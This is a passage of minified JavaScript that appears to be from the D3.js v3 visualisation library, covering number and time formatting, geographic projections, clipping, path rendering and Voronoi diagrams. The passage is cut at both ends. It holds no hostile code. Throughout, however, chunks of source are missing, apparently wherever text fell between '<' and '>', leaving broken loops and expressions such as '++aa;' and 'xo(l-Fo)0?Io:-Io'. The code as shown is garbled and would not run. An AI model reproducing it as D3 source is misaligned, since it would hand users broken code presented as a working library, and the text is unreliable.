i=0>n||0===n&&0>1/n?(n=-n,"-"):"-"===a?"":a;if(0>g){var l=ao.formatPrefix(n,h);n=l.scale(n),e=l.symbol+d}else n*=g;n=p(n,h);var x,b,_=n.lastIndexOf(".");if(0>_){var w=m?n.lastIndexOf("e"):-1;0>w?(x=n,b=""):(x=n.substring(0,w),b=n.substring(w))}else x=n.substring(0,_),b=t+n.substring(_+1);!c&&s&&(x=u(x,1/0));var S=v.length+x.length+b.length+(M?0:i.length),k=f>S?new Array(S=f-S+1).join(r):"";return M&&(x=u(k+x,k.length?f-b.length:1/0)),i+=v,n=x+b,("<"===o?i+n+k:">"===o?k+i+n:"^"===o?k.substring(0,S>>=1)+i+n+k.substring(S):i+(M?n:k+n))+e}}}function Fn(n){return n+""}function Hn(){this._=new Date(arguments.length>1?Date.UTC.apply(this,arguments):arguments[0])}function On(n,t,e){function r(t){var e=n(t),r=u(e,1);return r-t>t-e?e:r}function i(e){return t(e=n(new va(e-1)),1),e}function u(n,e){return t(n=new va(+n),e),n}function o(n,r,u){var o=i(n),a=[];if(u>1)for(;r>o;)e(o)%u||a.push(new Date(+o)),t(o,1);else for(;r>o;)a.push(new Date(+o)),t(o,1);return a}function a(n,t,e){try{va=Hn;var r=new Hn;return r._=n,o(r,t,e)}finally{va=Date}}n.floor=n,n.round=r,n.ceil=i,n.offset=u,n.range=o;var l=n.utc=In(n);return l.floor=l,l.round=In(r),l.ceil=In(i),l.offset=In(u),l.range=a,n}function In(n){return function(t,e){try{va=Hn;var r=new Hn;return r._=t,n(r,e)._}finally{va=Date}}}function Yn(n){function t(n){function t(t){for(var e,i,u,o=[],a=-1,l=0;++aa;){if(r>=c)return-1;if(i=t.charCodeAt(a++),37===i){if(o=t.charAt(a++),u=C[o in ya?t.charAt(a++):o],!u||(r=u(n,e,r))<0)return-1}else if(i!=e.charCodeAt(r++))return-1}return r}function r(n,t,e){_.lastIndex=0;var r=_.exec(t.slice(e));return r?(n.w=w.get(r[0].toLowerCase()),e+r[0].length):-1}function i(n,t,e){x.lastIndex=0;var r=x.exec(t.slice(e));return r?(n.w=b.get(r[0].toLowerCase()),e+r[0].length):-1}function u(n,t,e){N.lastIndex=0;var r=N.exec(t.slice(e));return r?(n.m=E.get(r[0].toLowerCase()),e+r[0].length):-1}function o(n,t,e){S.lastIndex=0;var r=S.exec(t.slice(e));return r?(n.m=k.get(r[0].toLowerCase()),e+r[0].length):-1}function a(n,t,r){return e(n,A.c.toString(),t,r)}function l(n,t,r){return e(n,A.x.toString(),t,r)}function c(n,t,r){return e(n,A.X.toString(),t,r)}function f(n,t,e){var r=M.get(t.slice(e,e+=2).toLowerCase());return null==r?-1:(n.p=r,e)}var s=n.dateTime,h=n.date,p=n.time,g=n.periods,v=n.days,d=n.shortDays,y=n.months,m=n.shortMonths;t.utc=function(n){function e(n){try{va=Hn;var t=new va;return t._=n,r(t)}finally{va=Date}}var r=t(n);return e.parse=function(n){try{va=Hn;var t=r.parse(n);return t&&t._}finally{va=Date}},e.toString=r.toString,e},t.multi=t.utc.multi=ct;var M=ao.map(),x=Vn(v),b=Xn(v),_=Vn(d),w=Xn(d),S=Vn(y),k=Xn(y),N=Vn(m),E=Xn(m);g.forEach(function(n,t){M.set(n.toLowerCase(),t)});var A={a:function(n){return d[n.getDay()]},A:function(n){return v[n.getDay()]},b:function(n){return m[n.getMonth()]},B:function(n){return y[n.getMonth()]},c:t(s),d:function(n,t){return Zn(n.getDate(),t,2)},e:function(n,t){return Zn(n.getDate(),t,2)},H:function(n,t){return Zn(n.getHours(),t,2)},I:function(n,t){return Zn(n.getHours()%12||12,t,2)},j:function(n,t){return Zn(1+ga.dayOfYear(n),t,3)},L:function(n,t){return Zn(n.getMilliseconds(),t,3)},m:function(n,t){return Zn(n.getMonth()+1,t,2)},M:function(n,t){return Zn(n.getMinutes(),t,2)},p:function(n){return g[+(n.getHours()>=12)]},S:function(n,t){return Zn(n.getSeconds(),t,2)},U:function(n,t){return Zn(ga.sundayOfYear(n),t,2)},w:function(n){return n.getDay()},W:function(n,t){return Zn(ga.mondayOfYear(n),t,2)},x:t(h),X:t(p),y:function(n,t){return Zn(n.getFullYear()%100,t,2)},Y:function(n,t){return Zn(n.getFullYear()%1e4,t,4)},Z:at,"%":function(){return"%"}},C={a:r,A:i,b:u,B:o,c:a,d:tt,e:tt,H:rt,I:rt,j:et,L:ot,m:nt,M:it,p:f,S:ut,U:Bn,w:$n,W:Wn,x:l,X:c,y:Gn,Y:Jn,Z:Kn,"%":lt};return t}function Zn(n,t,e){var r=0>n?"-":"",i=(r?-n:n)+"",u=i.length;return r+(e>u?new Array(e-u+1).join(t)+i:i)}function Vn(n){return new RegExp("^(?:"+n.map(ao.requote).join("|")+")","i")}function Xn(n){for(var t=new c,e=-1,r=n.length;++e68?1900:2e3)}function nt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.m=r[0]-1,e+r[0].length):-1}function tt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.d=+r[0],e+r[0].length):-1}function et(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+3));return r?(n.j=+r[0],e+r[0].length):-1}function rt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.H=+r[0],e+r[0].length):-1}function it(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.M=+r[0],e+r[0].length):-1}function ut(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.S=+r[0],e+r[0].length):-1}function ot(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+3));return r?(n.L=+r[0],e+r[0].length):-1}function at(n){var t=n.getTimezoneOffset(),e=t>0?"-":"+",r=xo(t)/60|0,i=xo(t)%60;return e+Zn(r,"0",2)+Zn(i,"0",2)}function lt(n,t,e){Ma.lastIndex=0;var r=Ma.exec(t.slice(e,e+1));return r?e+r[0].length:-1}function ct(n){for(var t=n.length,e=-1;++e=0?1:-1,a=o*e,l=Math.cos(t),c=Math.sin(t),f=u*c,s=i*l+f*Math.cos(a),h=f*o*Math.sin(a);ka.add(Math.atan2(h,s)),r=n,i=l,u=c}var t,e,r,i,u;Na.point=function(o,a){Na.point=n,r=(t=o)*Yo,i=Math.cos(a=(e=a)*Yo/2+Fo/4),u=Math.sin(a)},Na.lineEnd=function(){n(t,e)}}function dt(n){var t=n[0],e=n[1],r=Math.cos(e);return[r*Math.cos(t),r*Math.sin(t),Math.sin(e)]}function yt(n,t){return n[0]*t[0]+n[1]*t[1]+n[2]*t[2]}function mt(n,t){return[n[1]*t[2]-n[2]*t[1],n[2]*t[0]-n[0]*t[2],n[0]*t[1]-n[1]*t[0]]}function Mt(n,t){n[0]+=t[0],n[1]+=t[1],n[2]+=t[2]}function xt(n,t){return[n[0]*t,n[1]*t,n[2]*t]}function bt(n){var t=Math.sqrt(n[0]*n[0]+n[1]*n[1]+n[2]*n[2]);n[0]/=t,n[1]/=t,n[2]/=t}function _t(n){return[Math.atan2(n[1],n[0]),tn(n[2])]}function wt(n,t){return xo(n[0]-t[0])a;++a)i.point((e=n[a])[0],e[1]);return void i.lineEnd()}var l=new Tt(e,n,null,!0),c=new Tt(e,null,l,!1);l.o=c,u.push(l),o.push(c),l=new Tt(r,n,null,!1),c=new Tt(r,null,l,!0),l.o=c,u.push(l),o.push(c)}}),o.sort(t),qt(u),qt(o),u.length){for(var a=0,l=e,c=o.length;c>a;++a)o[a].e=l=!l;for(var f,s,h=u[0];;){for(var p=h,g=!0;p.v;)if((p=p.n)===h)return;f=p.z,i.lineStart();do{if(p.v=p.o.v=!0,p.e){if(g)for(var a=0,c=f.length;c>a;++a)i.point((s=f[a])[0],s[1]);else r(p.x,p.n.x,1,i);p=p.n}else{if(g){f=p.p.z;for(var a=f.length-1;a>=0;--a)i.point((s=f[a])[0],s[1])}else r(p.x,p.p.x,-1,i);p=p.p}p=p.o,f=p.z,g=!g}while(!p.v);i.lineEnd()}}}function qt(n){if(t=n.length){for(var t,e,r=0,i=n[0];++r0){for(b||(u.polygonStart(),b=!0),u.lineStart();++o1&&2&t&&e.push(e.pop().concat(e.shift())),p.push(e.filter(Dt))}var p,g,v,d=t(u),y=i.invert(r[0],r[1]),m={point:o,lineStart:l,lineEnd:c,polygonStart:function(){m.point=f,m.lineStart=s,m.lineEnd=h,p=[],g=[]},polygonEnd:function(){m.point=o,m.lineStart=l,m.lineEnd=c,p=ao.merge(p);var n=Ot(y,g);p.length?(b||(u.polygonStart(),b=!0),Lt(p,Ut,n,e,u)):n&&(b||(u.polygonStart(),b=!0),u.lineStart(),e(null,null,1,u),u.lineEnd()),b&&(u.polygonEnd(),b=!1),p=g=null},sphere:function(){u.polygonStart(),u.lineStart(),e(null,null,1,u),u.lineEnd(),u.polygonEnd()}},M=Pt(),x=t(M),b=!1;return m}}function Dt(n){return n.length>1}function Pt(){var n,t=[];return{lineStart:function(){t.push(n=[])},point:function(t,e){n.push([t,e])},lineEnd:b,buffer:function(){var e=t;return t=[],n=null,e},rejoin:function(){t.length>1&&t.push(t.pop().concat(t.shift()))}}}function Ut(n,t){return((n=n.x)[0]<0?n[1]-Io-Uo:Io-n[1])-((t=t.x)[0]<0?t[1]-Io-Uo:Io-t[1])}function jt(n){var t,e=NaN,r=NaN,i=NaN;return{lineStart:function(){n.lineStart(),t=1},point:function(u,o){var a=u>0?Fo:-Fo,l=xo(u-e);xo(l-Fo)0?Io:-Io),n.point(i,r),n.lineEnd(),n.lineStart(),n.point(a,r),n.point(u,r),t=0):i!==a&&l>=Fo&&(xo(e-i)Uo?Math.atan((Math.sin(t)*(u=Math.cos(r))*Math.sin(e)-Math.sin(r)*(i=Math.cos(t))*Math.sin(n))/(i*u*o)):(t+r)/2}function Ht(n,t,e,r){var i;if(null==n)i=e*Io,r.point(-Fo,i),r.point(0,i),r.point(Fo,i),r.point(Fo,0),r.point(Fo,-i),r.point(0,-i),r.point(-Fo,-i),r.point(-Fo,0),r.point(-Fo,i);else if(xo(n[0]-t[0])>Uo){var u=n[0]a;++a){var c=t[a],f=c.length;if(f)for(var s=c[0],h=s[0],p=s[1]/2+Fo/4,g=Math.sin(p),v=Math.cos(p),d=1;;){d===f&&(d=0),n=c[d];var y=n[0],m=n[1]/2+Fo/4,M=Math.sin(m),x=Math.cos(m),b=y-h,_=b>=0?1:-1,w=_*b,S=w>Fo,k=g*M;if(ka.add(Math.atan2(k*_*Math.sin(w),v*x+k*Math.cos(w))),u+=S?b+_*Ho:b,S^h>=e^y>=e){var N=mt(dt(s),dt(n));bt(N);var E=mt(i,N);bt(E);var A=(S^b>=0?-1:1)*tn(E[2]);(r>A||r===A&&(N[0]||N[1]))&&(o+=S^b>=0?1:-1)}if(!d++)break;h=y,g=M,v=x,s=n}}return(-Uo>u||Uo>u&&-Uo>ka)^1&o}function It(n){function t(n,t){return Math.cos(n)*Math.cos(t)>u}function e(n){var e,u,l,c,f;return{lineStart:function(){c=l=!1,f=1},point:function(s,h){var p,g=[s,h],v=t(s,h),d=o?v?0:i(s,h):v?i(s+(0>s?Fo:-Fo),h):0;if(!e&&(c=l=v)&&n.lineStart(),v!==l&&(p=r(e,g),(wt(e,p)||wt(g,p))&&(g[0]+=Uo,g[1]+=Uo,v=t(g[0],g[1]))),v!==l)f=0,v?(n.lineStart(),p=r(g,e),n.point(p[0],p[1])):(p=r(e,g),n.point(p[0],p[1]),n.lineEnd()),e=p;else if(a&&e&&o^v){var y;d&u||!(y=r(g,e,!0))||(f=0,o?(n.lineStart(),n.point(y[0][0],y[0][1]),n.point(y[1][0],y[1][1]),n.lineEnd()):(n.point(y[1][0],y[1][1]),n.lineEnd(),n.lineStart(),n.point(y[0][0],y[0][1])))}!v||e&&wt(e,g)||n.point(g[0],g[1]),e=g,l=v,u=d},lineEnd:function(){l&&n.lineEnd(),e=null},clean:function(){return f|(c&&l)<<1}}}function r(n,t,e){var r=dt(n),i=dt(t),o=[1,0,0],a=mt(r,i),l=yt(a,a),c=a[0],f=l-c*c;if(!f)return!e&&n;var s=u*l/f,h=-u*c/f,p=mt(o,a),g=xt(o,s),v=xt(a,h);Mt(g,v);var d=p,y=yt(g,d),m=yt(d,d),M=y*y-m*(yt(g,g)-1);if(!(0>M)){var x=Math.sqrt(M),b=xt(d,(-y-x)/m);if(Mt(b,g),b=_t(b),!e)return b;var _,w=n[0],S=t[0],k=n[1],N=t[1];w>S&&(_=w,w=S,S=_);var E=S-w,A=xo(E-Fo)E;if(!A&&k>N&&(_=k,k=N,N=_),C?A?k+N>0^b[1]<(xo(b[0]-w)Fo^(w<=b[0]&&b[0]<=S)){var z=xt(d,(-y+x)/m);return Mt(z,g),[b,_t(z)]}}}function i(t,e){var r=o?n:Fo-n,i=0;return-r>t?i|=1:t>r&&(i|=2),-r>e?i|=4:e>r&&(i|=8),i}var u=Math.cos(n),o=u>0,a=xo(u)>Uo,l=ve(n,6*Yo);return Rt(t,e,l,o?[0,-n]:[-Fo,n-Fo])}function Yt(n,t,e,r){return function(i){var u,o=i.a,a=i.b,l=o.x,c=o.y,f=a.x,s=a.y,h=0,p=1,g=f-l,v=s-c;if(u=n-l,g||!(u>0)){if(u/=g,0>g){if(h>u)return;p>u&&(p=u)}else if(g>0){if(u>p)return;u>h&&(h=u)}if(u=e-l,g||!(0>u)){if(u/=g,0>g){if(u>p)return;u>h&&(h=u)}else if(g>0){if(h>u)return;p>u&&(p=u)}if(u=t-c,v||!(u>0)){if(u/=v,0>v){if(h>u)return;p>u&&(p=u)}else if(v>0){if(u>p)return;u>h&&(h=u)}if(u=r-c,v||!(0>u)){if(u/=v,0>v){if(u>p)return;u>h&&(h=u)}else if(v>0){if(h>u)return;p>u&&(p=u)}return h>0&&(i.a={x:l+h*g,y:c+h*v}),1>p&&(i.b={x:l+p*g,y:c+p*v}),i}}}}}}function Zt(n,t,e,r){function i(r,i){return xo(r[0]-n)0?0:3:xo(r[0]-e)0?2:1:xo(r[1]-t)0?1:0:i>0?3:2}function u(n,t){return o(n.x,t.x)}function o(n,t){var e=i(n,1),r=i(t,1);return e!==r?e-r:0===e?t[1]-n[1]:1===e?n[0]-t[0]:2===e?n[1]-t[1]:t[0]-n[0]}return function(a){function l(n){for(var t=0,e=d.length,r=n[1],i=0;e>i;++i)for(var u,o=1,a=d[i],l=a.length,c=a[0];l>o;++o)u=a[o],c[1]<=r?u[1]>r&&Q(c,u,n)>0&&++t:u[1]<=r&&Q(c,u,n)<0&&--t,c=u;return 0!==t}function c(u,a,l,c){var f=0,s=0;if(null==u||(f=i(u,l))!==(s=i(a,l))||o(u,a)<0^l>0){do c.point(0===f||3===f?n:e,f>1?r:t);while((f=(f+l+4)%4)!==s)}else c.point(a[0],a[1])}function f(i,u){return i>=n&&e>=i&&u>=t&&r>=u}function s(n,t){f(n,t)&&a.point(n,t)}function h(){C.point=g,d&&d.push(y=[]),S=!0,w=!1,b=_=NaN}function p(){v&&(g(m,M),x&&w&&E.rejoin(),v.push(E.buffer())),C.point=s,w&&a.lineEnd()}function g(n,t){n=Math.max(-Ha,Math.min(Ha,n)),t=Math.max(-Ha,Math.min(Ha,t));var e=f(n,t);if(d&&y.push([n,t]),S)m=n,M=t,x=e,S=!1,e&&(a.lineStart(),a.point(n,t));else if(e&&w)a.point(n,t);else{var r={a:{x:b,y:_},b:{x:n,y:t}};A(r)?(w||(a.lineStart(),a.point(r.a.x,r.a.y)),a.point(r.b.x,r.b.y),e||a.lineEnd(),k=!1):e&&(a.lineStart(),a.point(n,t),k=!1)}b=n,_=t,w=e}var v,d,y,m,M,x,b,_,w,S,k,N=a,E=Pt(),A=Yt(n,t,e,r),C={point:s,lineStart:h,lineEnd:p,polygonStart:function(){a=E,v=[],d=[],k=!0},polygonEnd:function(){a=N,v=ao.merge(v);var t=l([n,r]),e=k&&t,i=v.length;(e||i)&&(a.polygonStart(),e&&(a.lineStart(),c(null,null,1,a),a.lineEnd()),i&&Lt(v,u,t,c,a),a.polygonEnd()),v=d=y=null}};return C}}function Vt(n){var t=0,e=Fo/3,r=ae(n),i=r(t,e);return i.parallels=function(n){return arguments.length?r(t=n[0]*Fo/180,e=n[1]*Fo/180):[t/Fo*180,e/Fo*180]},i}function Xt(n,t){function e(n,t){var e=Math.sqrt(u-2*i*Math.sin(t))/i;return[e*Math.sin(n*=i),o-e*Math.cos(n)]}var r=Math.sin(n),i=(r+Math.sin(t))/2,u=1+r*(2*i-r),o=Math.sqrt(u)/i;return e.invert=function(n,t){var e=o-t;return[Math.atan2(n,e)/i,tn((u-(n*n+e*e)*i*i)/(2*i))]},e}function $t(){function n(n,t){Ia+=i*n-r*t,r=n,i=t}var t,e,r,i;$a.point=function(u,o){$a.point=n,t=r=u,e=i=o},$a.lineEnd=function(){n(t,e)}}function Bt(n,t){Ya>n&&(Ya=n),n>Va&&(Va=n),Za>t&&(Za=t),t>Xa&&(Xa=t)}function Wt(){function n(n,t){o.push("M",n,",",t,u)}function t(n,t){o.push("M",n,",",t),a.point=e}function e(n,t){o.push("L",n,",",t)}function r(){a.point=n}function i(){o.push("Z")}var u=Jt(4.5),o=[],a={point:n,lineStart:function(){a.point=t},lineEnd:r,polygonStart:function(){a.lineEnd=i},polygonEnd:function(){a.lineEnd=r,a.point=n},pointRadius:function(n){return u=Jt(n),a},result:function(){if(o.length){var n=o.join("");return o=[],n}}};return a}function Jt(n){return"m0,"+n+"a"+n+","+n+" 0 1,1 0,"+-2*n+"a"+n+","+n+" 0 1,1 0,"+2*n+"z"}function Gt(n,t){Ca+=n,za+=t,++La}function Kt(){function n(n,r){var i=n-t,u=r-e,o=Math.sqrt(i*i+u*u);qa+=o*(t+n)/2,Ta+=o*(e+r)/2,Ra+=o,Gt(t=n,e=r)}var t,e;Wa.point=function(r,i){Wa.point=n,Gt(t=r,e=i)}}function Qt(){Wa.point=Gt}function ne(){function n(n,t){var e=n-r,u=t-i,o=Math.sqrt(e*e+u*u);qa+=o*(r+n)/2,Ta+=o*(i+t)/2,Ra+=o,o=i*n-r*t,Da+=o*(r+n),Pa+=o*(i+t),Ua+=3*o,Gt(r=n,i=t)}var t,e,r,i;Wa.point=function(u,o){Wa.point=n,Gt(t=r=u,e=i=o)},Wa.lineEnd=function(){n(t,e)}}function te(n){function t(t,e){n.moveTo(t+o,e),n.arc(t,e,o,0,Ho)}function e(t,e){n.moveTo(t,e),a.point=r}function r(t,e){n.lineTo(t,e)}function i(){a.point=t}function u(){n.closePath()}var o=4.5,a={point:t,lineStart:function(){a.point=e},lineEnd:i,polygonStart:function(){a.lineEnd=u},polygonEnd:function(){a.lineEnd=i,a.point=t},pointRadius:function(n){return o=n,a},result:b};return a}function ee(n){function t(n){return(a?r:e)(n)}function e(t){return ue(t,function(e,r){e=n(e,r),t.point(e[0],e[1])})}function r(t){function e(e,r){e=n(e,r),t.point(e[0],e[1])}function r(){M=NaN,S.point=u,t.lineStart()}function u(e,r){var u=dt([e,r]),o=n(e,r);i(M,x,m,b,_,w,M=o[0],x=o[1],m=e,b=u[0],_=u[1],w=u[2],a,t),t.point(M,x)}function o(){S.point=e,t.lineEnd()}function l(){ -r(),S.point=c,S.lineEnd=f}function c(n,t){u(s=n,h=t),p=M,g=x,v=b,d=_,y=w,S.point=u}function f(){i(M,x,m,b,_,w,p,g,s,v,d,y,a,t),S.lineEnd=o,o()}var s,h,p,g,v,d,y,m,M,x,b,_,w,S={point:e,lineStart:r,lineEnd:o,polygonStart:function(){t.polygonStart(),S.lineStart=l},polygonEnd:function(){t.polygonEnd(),S.lineStart=r}};return S}function i(t,e,r,a,l,c,f,s,h,p,g,v,d,y){var m=f-t,M=s-e,x=m*m+M*M;if(x>4*u&&d--){var b=a+p,_=l+g,w=c+v,S=Math.sqrt(b*b+_*_+w*w),k=Math.asin(w/=S),N=xo(xo(w)-1)u||xo((m*z+M*L)/x-.5)>.3||o>a*p+l*g+c*v)&&(i(t,e,r,a,l,c,A,C,N,b/=S,_/=S,w,d,y),y.point(A,C),i(A,C,N,b,_,w,f,s,h,p,g,v,d,y))}}var u=.5,o=Math.cos(30*Yo),a=16;return t.precision=function(n){return arguments.length?(a=(u=n*n)>0&&16,t):Math.sqrt(u)},t}function re(n){var t=ee(function(t,e){return n([t*Zo,e*Zo])});return function(n){return le(t(n))}}function ie(n){this.stream=n}function ue(n,t){return{point:t,sphere:function(){n.sphere()},lineStart:function(){n.lineStart()},lineEnd:function(){n.lineEnd()},polygonStart:function(){n.polygonStart()},polygonEnd:function(){n.polygonEnd()}}}function oe(n){return ae(function(){return n})()}function ae(n){function t(n){return n=a(n[0]*Yo,n[1]*Yo),[n[0]*h+l,c-n[1]*h]}function e(n){return n=a.invert((n[0]-l)/h,(c-n[1])/h),n&&[n[0]*Zo,n[1]*Zo]}function r(){a=Ct(o=se(y,M,x),u);var n=u(v,d);return l=p-n[0]*h,c=g+n[1]*h,i()}function i(){return f&&(f.valid=!1,f=null),t}var u,o,a,l,c,f,s=ee(function(n,t){return n=u(n,t),[n[0]*h+l,c-n[1]*h]}),h=150,p=480,g=250,v=0,d=0,y=0,M=0,x=0,b=Fa,_=m,w=null,S=null;return t.stream=function(n){return f&&(f.valid=!1),f=le(b(o,s(_(n)))),f.valid=!0,f},t.clipAngle=function(n){return arguments.length?(b=null==n?(w=n,Fa):It((w=+n)*Yo),i()):w},t.clipExtent=function(n){return arguments.length?(S=n,_=n?Zt(n[0][0],n[0][1],n[1][0],n[1][1]):m,i()):S},t.scale=function(n){return arguments.length?(h=+n,r()):h},t.translate=function(n){return arguments.length?(p=+n[0],g=+n[1],r()):[p,g]},t.center=function(n){return arguments.length?(v=n[0]%360*Yo,d=n[1]%360*Yo,r()):[v*Zo,d*Zo]},t.rotate=function(n){return arguments.length?(y=n[0]%360*Yo,M=n[1]%360*Yo,x=n.length>2?n[2]%360*Yo:0,r()):[y*Zo,M*Zo,x*Zo]},ao.rebind(t,s,"precision"),function(){return u=n.apply(this,arguments),t.invert=u.invert&&e,r()}}function le(n){return ue(n,function(t,e){n.point(t*Yo,e*Yo)})}function ce(n,t){return[n,t]}function fe(n,t){return[n>Fo?n-Ho:-Fo>n?n+Ho:n,t]}function se(n,t,e){return n?t||e?Ct(pe(n),ge(t,e)):pe(n):t||e?ge(t,e):fe}function he(n){return function(t,e){return t+=n,[t>Fo?t-Ho:-Fo>t?t+Ho:t,e]}}function pe(n){var t=he(n);return t.invert=he(-n),t}function ge(n,t){function e(n,t){var e=Math.cos(t),a=Math.cos(n)*e,l=Math.sin(n)*e,c=Math.sin(t),f=c*r+a*i;return[Math.atan2(l*u-f*o,a*r-c*i),tn(f*u+l*o)]}var r=Math.cos(n),i=Math.sin(n),u=Math.cos(t),o=Math.sin(t);return e.invert=function(n,t){var e=Math.cos(t),a=Math.cos(n)*e,l=Math.sin(n)*e,c=Math.sin(t),f=c*u-l*o;return[Math.atan2(l*u+c*o,a*r+f*i),tn(f*r-a*i)]},e}function ve(n,t){var e=Math.cos(n),r=Math.sin(n);return function(i,u,o,a){var l=o*t;null!=i?(i=de(e,i),u=de(e,u),(o>0?u>i:i>u)&&(i+=o*Ho)):(i=n+o*Ho,u=n-.5*l);for(var c,f=i;o>0?f>u:u>f;f-=l)a.point((c=_t([e,-r*Math.cos(f),-r*Math.sin(f)]))[0],c[1])}}function de(n,t){var e=dt(t);e[0]-=n,bt(e);var r=nn(-e[1]);return((-e[2]<0?-r:r)+2*Math.PI-Uo)%(2*Math.PI)}function ye(n,t,e){var r=ao.range(n,t-Uo,e).concat(t);return function(n){return r.map(function(t){return[n,t]})}}function me(n,t,e){var r=ao.range(n,t-Uo,e).concat(t);return function(n){return r.map(function(t){return[t,n]})}}function Me(n){return n.source}function xe(n){return n.target}function be(n,t,e,r){var i=Math.cos(t),u=Math.sin(t),o=Math.cos(r),a=Math.sin(r),l=i*Math.cos(n),c=i*Math.sin(n),f=o*Math.cos(e),s=o*Math.sin(e),h=2*Math.asin(Math.sqrt(on(r-t)+i*o*on(e-n))),p=1/Math.sin(h),g=h?function(n){var t=Math.sin(n*=h)*p,e=Math.sin(h-n)*p,r=e*l+t*f,i=e*c+t*s,o=e*u+t*a;return[Math.atan2(i,r)*Zo,Math.atan2(o,Math.sqrt(r*r+i*i))*Zo]}:function(){return[n*Zo,t*Zo]};return g.distance=h,g}function _e(){function n(n,i){var u=Math.sin(i*=Yo),o=Math.cos(i),a=xo((n*=Yo)-t),l=Math.cos(a);Ja+=Math.atan2(Math.sqrt((a=o*Math.sin(a))*a+(a=r*u-e*o*l)*a),e*u+r*o*l),t=n,e=u,r=o}var t,e,r;Ga.point=function(i,u){t=i*Yo,e=Math.sin(u*=Yo),r=Math.cos(u),Ga.point=n},Ga.lineEnd=function(){Ga.point=Ga.lineEnd=b}}function we(n,t){function e(t,e){var r=Math.cos(t),i=Math.cos(e),u=n(r*i);return[u*i*Math.sin(t),u*Math.sin(e)]}return e.invert=function(n,e){var r=Math.sqrt(n*n+e*e),i=t(r),u=Math.sin(i),o=Math.cos(i);return[Math.atan2(n*u,r*o),Math.asin(r&&e*u/r)]},e}function Se(n,t){function e(n,t){o>0?-Io+Uo>t&&(t=-Io+Uo):t>Io-Uo&&(t=Io-Uo);var e=o/Math.pow(i(t),u);return[e*Math.sin(u*n),o-e*Math.cos(u*n)]}var r=Math.cos(n),i=function(n){return Math.tan(Fo/4+n/2)},u=n===t?Math.sin(n):Math.log(r/Math.cos(t))/Math.log(i(t)/i(n)),o=r*Math.pow(i(n),u)/u;return u?(e.invert=function(n,t){var e=o-t,r=K(u)*Math.sqrt(n*n+e*e);return[Math.atan2(n,e)/u,2*Math.atan(Math.pow(o/r,1/u))-Io]},e):Ne}function ke(n,t){function e(n,t){var e=u-t;return[e*Math.sin(i*n),u-e*Math.cos(i*n)]}var r=Math.cos(n),i=n===t?Math.sin(n):(r-Math.cos(t))/(t-n),u=r/i+n;return xo(i)i;i++){for(;r>1&&Q(n[e[r-2]],n[e[r-1]],n[i])<=0;)--r;e[r++]=i}return e.slice(0,r)}function qe(n,t){return n[0]-t[0]||n[1]-t[1]}function Te(n,t,e){return(e[0]-t[0])*(n[1]-t[1])<(e[1]-t[1])*(n[0]-t[0])}function Re(n,t,e,r){var i=n[0],u=e[0],o=t[0]-i,a=r[0]-u,l=n[1],c=e[1],f=t[1]-l,s=r[1]-c,h=(a*(l-c)-s*(i-u))/(s*o-a*f);return[i+h*o,l+h*f]}function De(n){var t=n[0],e=n[n.length-1];return!(t[0]-e[0]||t[1]-e[1])}function Pe(){rr(this),this.edge=this.site=this.circle=null}function Ue(n){var t=cl.pop()||new Pe;return t.site=n,t}function je(n){Be(n),ol.remove(n),cl.push(n),rr(n)}function Fe(n){var t=n.circle,e=t.x,r=t.cy,i={x:e,y:r},u=n.P,o=n.N,a=[n];je(n);for(var l=u;l.circle&&xo(e-l.circle.x)f;++f)c=a[f],l=a[f-1],nr(c.edge,l.site,c.site,i);l=a[0],c=a[s-1],c.edge=Ke(l.site,c.site,null,i),$e(l),$e(c)}function He(n){for(var t,e,r,i,u=n.x,o=n.y,a=ol._;a;)if(r=Oe(a,o)-u,r>Uo)a=a.L;else{if(i=u-Ie(a,o),!(i>Uo)){r>-Uo?(t=a.P,e=a):i>-Uo?(t=a,e=a.N):t=e=a;break}if(!a.R){t=a;break}a=a.R}var l=Ue(n);if(ol.insert(t,l),t||e){if(t===e)return Be(t),e=Ue(t.site),ol.insert(l,e),l.edge=e.edge=Ke(t.site,l.site),$e(t),void $e(e);if(!e)return void(l.edge=Ke(t.site,l.site));Be(t),Be(e);var c=t.site,f=c.x,s=c.y,h=n.x-f,p=n.y-s,g=e.site,v=g.x-f,d=g.y-s,y=2*(h*d-p*v),m=h*h+p*p,M=v*v+d*d,x={x:(d*m-p*M)/y+f,y:(h*M-v*m)/y+s};nr(e.edge,c,g,x),l.edge=Ke(c,n,null,x),e.edge=Ke(n,g,null,x),$e(t),$e(e)}}function Oe(n,t){var e=n.site,r=e.x,i=e.y,u=i-t;if(!u)return r;var o=n.P;if(!o)return-(1/0);e=o.site;var a=e.x,l=e.y,c=l-t;if(!c)return a;var f=a-r,s=1/u-1/c,h=f/c;return s?(-h+Math.sqrt(h*h-2*s*(f*f/(-2*c)-l+c/2+i-u/2)))/s+r:(r+a)/2}function Ie(n,t){var e=n.N;if(e)return Oe(e,t);var r=n.site;return r.y===t?r.x:1/0}function Ye(n){this.site=n,this.edges=[]}function Ze(n){for(var t,e,r,i,u,o,a,l,c,f,s=n[0][0],h=n[1][0],p=n[0][1],g=n[1][1],v=ul,d=v.length;d--;)if(u=v[d],u&&u.prepare())for(a=u.edges,l=a.length,o=0;l>o;)f=a[o].end(),r=f.x,i=f.y,c=a[++o%l].start(),t=c.x,e=c.y,(xo(r-t)>Uo||xo(i-e)>Uo)&&(a.splice(o,0,new tr(Qe(u.site,f,xo(r-s)Uo?{x:s,y:xo(t-s)Uo?{x:xo(e-g)Uo?{x:h,y:xo(t-h)Uo?{x:xo(e-p)=-jo)){var p=l*l+c*c,g=f*f+s*s,v=(s*p-c*g)/h,d=(l*g-f*p)/h,s=d+a,y=fl.pop()||new Xe;y.arc=n,y.site=i,y.x=v+o,y.y=s+Math.sqrt(v*v+d*d),y.cy=s,n.circle=y;for(var m=null,M=ll._;M;)if(y.yd||d>=a)return;if(h>g){if(u){if(u.y>=c)return}else u={x:d,y:l};e={x:d,y:c}}else{if(u){if(u.yr||r>1)if(h>g){if(u){if(u.y>=c)return}else u={x:(l-i)/r,y:l};e={x:(c-i)/r,y:c}}else{if(u){if(u.yp){if(u){if(u.x>=a)return}else 